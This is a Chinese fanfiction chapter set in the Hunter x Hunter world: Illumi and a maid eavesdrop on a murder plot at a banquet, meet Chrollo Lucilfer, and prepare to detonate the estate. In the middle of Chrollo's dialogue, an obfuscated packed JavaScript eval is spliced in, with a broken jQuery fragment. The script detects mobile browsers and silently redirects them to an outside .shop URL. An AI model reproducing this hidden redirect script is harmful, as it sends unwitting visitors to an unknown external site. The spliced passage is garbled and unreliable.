哒、哒、哒、哒......
两道脚步声越来越近,越来越急促,像踩在伊洛斯此刻的心跳上一样,没理由地飙升得非常快。
能听出来那是高跟鞋和皮鞋交替造成的脚步声,一男一女停在了宅院后方花园的某个角落,晚风中的交谈被鸟鸣和树叶沙沙声切成了模糊的碎片。
伊洛斯的嘴还被捂着。
伊尔迷的五指和掌心严密贴合着她的脸,小拇指恰好卡在下颌骨边缘,指腹压在她的皮肤上。为了不触碰到他的掌心,避免造成更暧昧的接触,她抿起了唇。
两人紧贴在主宅后拐角的墙面上,她没被攥起的那只手向后摸了摸,先摸索到伊尔迷腰侧的西装布料,随后是石制墙面的粗粝颗粒。两具身体紧紧靠在一起,后背贴着他的前胸。他呼吸时胸腔起伏的弧度很平稳,很均和,吸气时微微挺起的胸口把两人之间的缝隙压得更小,呼气时又退开。
不知道为什么,伊洛斯下意识地开始追随着他的呼吸节奏。
一切都变得很缓慢,仲夏夜的夜风裹卷着花园草木的馨香拂过脸颊,伊洛斯渐渐垂下眼,睫毛阴影落在那双像被雨水洗涤过的清透绿眸里,随着呼吸而轻微震动,停栖的蝴蝶般偶尔振翅。
她站直了一点,头顶抵上了伊尔迷的下巴。她感觉他轻轻侧了一下头,偏转的角度下几缕发丝蹭过了她裸露的肩颈。晚风是温热的,他的发丝也是温吞的,她恍然有些分辨不清。
其实也不用这样躲的,她想,就算被发现了,随便找个借口糊弄一下就好了,但伊尔迷显然比她谨慎得多。
他静如止水的呼吸频率和毫无波澜的心跳让她的心底生出了一点若有若无的失落,像是只有她一人因为这种任务式的必要接触而产生了不合时宜的慌乱,心底的狂风暴雨愈发激烈了。
她覆上伊尔迷的手,把它从自己脸上扯了下来。
那两道脚步声的主人终于放声交谈起来。
一道甜腻得能滴出蜜的女声响起:“亲爱的,你觉得埃卡特舅舅的庄园怎么样?”
低沉的男音回应道:“噢,当然非常好!”
“等他去世了,这座庄园就是我们的了!”
不,这座漂亮的庄园很快就要没了。伊洛斯在心里暗自惋惜。
“亲爱的,等我拿到这笔遗产,你就和她离婚吧。”
“那当然!有了这笔钱,天底下还有什么官司打不赢!”
“太好啦!不如提前计划,今晚就杀了埃卡特舅舅吧!”
伊洛斯:“?”
他们好像吃到了什么惊天大瓜。在这种月黑风高、花香浮动的夜晚,在这座即将被夷为平地的庄园后花园里,居然还有人正在兴致勃勃地策划一场遗产谋杀。她下意识戳了戳背后的伊尔迷,她感觉到他的腹肌收缩了一瞬,然后立刻抓住了她乱动的手指。
“少爷,我们走吧。”她用只有两个人能听见的耳语说,“他们俩只是来偷情的,对任务没威胁。”
“等他们走了再走。”他回答。
伊尔迷在说话的时候只是压低了一点音量,没有用气声交流,或许因为他的嗓音本身就带有一种雌雄莫辨的中性质感,所以并没有太大效果。
这个突如其来的发现让她觉得有点有趣,大少爷好像不会说悄悄话!好在混合在花园各种自然的喧嚣中,他的话并没有被那两个人听见。
在原地又站了一会儿,那对情侣的对话已经停止了。伊尔迷彻底松开了她的手,冷不丁地说:“走吧。”
“为什么忽然又走了?”
“他们在接吻。”
伊洛斯默然,努力侧耳倾听,好像确实捕捉到了一点细微的声响。
“......您听力真好。我刚刚一点也没听见。”
伊尔迷面无表情地捋平了胸前衬衫的褶皱,步履从容地顺着建筑外围的小道往宴会方向走。伊洛斯看见在整理服装时,他的掌心覆在胸前,多停留了那么一会儿,比任何一次整理衣服都要长。
宴会厅客流众多,消失了那么几个人也无人注意,大家都三两成群,端着酒杯凑在一起低声交谈,维持着一种疏离而克制的距离。伊洛斯跟在伊尔迷身边,对于这种场合她确实有些不适应,只能他做什么,她也跟着一起做。
为了不引人注目,她和伊尔迷短暂分开了一段时间,各自融入不同的人群。好在模仿力超群的伊洛斯很快就完美融入了这群小姐之中,交谈起来也非常得心应手。
名流们当然不会直接询问对方的身世,但看见她这张陌生的面孔,好奇心驱使,偶尔又凑过来旁敲侧询地打探。
出门在外,身份都是自己给的。
“最近矿业行情起伏挺大,您身边的友人大多深耕哪一块领域?”一位金色短发小姐面带微笑地问。
伊洛斯回答:“互联网行业主理人。”
她说的糜稽少爷。
短发小姐的眼神中流露出一丝不解,又问:“我前些日子看中了沿海地段的宅邸,那边配套门槛很高。不知道您平时住在哪片区域?”
伊洛斯抿了口香槟,毫不迟疑地回答:“巴托奇亚共和国高山腰部的豪华宅邸,一套房一共有十个单间,配套设施也很齐全。”
她说的是枯枯戮山半山腰的女仆宿舍。
对面的小姐神色复杂,唇角还挂着虚伪的礼貌微笑。
看她这副想打听又只能拐弯抹角的样子,伊洛斯决定直接一通胡言乱语:“我母亲就是隐世的后印象派画师,伊丽莎白。”
伊丽莎白确实是后印象派的画师,只不过一百年前就去世了,母亲又一直待在枯枯戮山,和隐世差不多,真假半掺,反正和这位小姐也不会见第二面了。
就在这时,一道低沉的男声忽然从背后响起:“伊丽莎白女士吗?久仰大名。”
伊洛斯侧目看向他。
黑色短发的男人已经站到了她身边,那双深邃的黝黑眼眸闪动着探究的光,先是落在她脸上,打量了片刻,随后礼貌地移向她对面那位金发小姐,微微颔首致意。
他额前的碎发下绑着一条白色绷带,五官精致秀挺。伊洛斯暗暗观察着这张惊为天人的脸,心想拿来当模特一定很好用。
对面的小姐显然也愣了一下,随即向那位先生伸出一只手:“您好,我是爱丽丝·霍尔。”
他回握住她的手:“霍尔小姐,久仰。我是库洛洛·鲁西鲁,目前从事慈善行业。很荣幸和您相识。”
瞧瞧!这自信的语气,这倨傲的目光,伊洛斯一眼就看出对方和她一样,也是在胡说八道而已。
而且库洛洛·鲁西鲁这名字听起来就叽里咕噜的,有点拗口。
鲁西鲁先生转向她,那双深不见底的黑眸里带着温和的笑意:“这位小姐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17622436|205736||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,听说埃卡特先生收藏了许多名画,其中就有伊丽莎白女士的后印象派作品。不妨一起去看看?”
伊洛斯脸上的笑容僵住了。
虽然库洛洛·鲁西鲁和她一样是个骗子,但他好像真懂行。
对方依旧用一种礼貌却不容拒绝的目光看着她。虽然说不清到底是哪里不对,但她总觉得他身上天然携带着威压,和伊尔迷偶尔会展露出的压迫感相同,仿佛他们之间的空气都在无形中变得尖锐,某种不可见的力量缓慢渗透进骨头里,无孔不入地震慑着她的身体。
那究竟是什么?
伊洛斯捂住自己砰砰直跳的胸口,对他莞尔一笑,尽力用眼神诉说“我也是瞎说的,能不能别追问了?”
没想到他依旧措辞得体地诘问:“您是伊丽莎白女士的女儿,那能否冒昧问一句,您今年芳龄?”
为什么呀?难道他是伊丽莎白女士的忠实粉丝?就非要当众拆穿她这个冒牌女儿吗?
在伊洛斯即将汗流浃背的时刻,那道熟悉的平直声线终于从她身后响起。
“鲁西鲁先生,不要为难我的女伴了。”
库洛洛的目光短暂掠过她的脸,伊洛斯躲闪开了那道视线。
“原来如此......那就先不打扰了。”他回答得彬彬有礼。
伊洛斯注目看向他离去的背影,一个金发男人和一个紫发女孩走到了他身边,三人径直朝门口走去。
“我们不能待在这里了。”伊尔迷抓住了她的手腕,向前迈步。
“您认识刚刚那位鲁西鲁先生吗?”
“嗯。”他压低了声音,“库洛洛·鲁西鲁,来自流星街的A级通缉犯团伙头目。”
她的心跳猝然加快一拍,怪不得刚刚和他待在一起时,就本能地产生了一种排斥反应,那种装模作样的目光令她一阵后怕。
“......您的意思是,他们今天来这里也有别的目的?”
“目前还不清楚他们有没有采取行动,但我们的工作已经完成了。等宴会结束用遥控器远程引爆就可以。”
确实,从现在这种情况来看,立刻离开比继续留在这里更明智。毕竟连可怜的埃卡特先生本人都不知道,一群心怀鬼胎的人现在正聚集在他的宅邸里。除了要炸他整座庄园的伊尔迷,想杀他夺取遗产的亲外甥,现在还多了个目的不明的通缉犯团伙。
好刺激!好像谍战片!
“刚刚库洛洛·鲁西鲁为什么和你搭话?”伊尔迷忽然问。
“因为我说我是伊丽莎白的女儿。他看穿了,我也不知道他的目的究竟是什么。”
他快速眨了眨眼:“你的母亲不是叫伊莉莎吗?”
“对啊,我瞎说的,他想拆穿我。伊丽莎白是一位一百年前就去世的画家,那位鲁西鲁先生说埃卡特家里就有她的藏画,非要拉着我一起去看。”
“看不了了。埃卡特确实是一位知名收藏家,私下走私过很多艺术品。他们来这里是为了抢藏品。”
嗯......倒买倒卖确实赚挺多,把抢来的走私品再卖出去,怪不得这位鲁西鲁先生说自己是慈善家呢。
“谁都不许走!”
背后的宴会厅内忽然传来一阵喧哗。
伊洛斯脚步一顿,回过头去。大厅内原本还举杯闲谈的宾客们都纷纷放下了手中的酒杯,双手抱头,不敢动弹。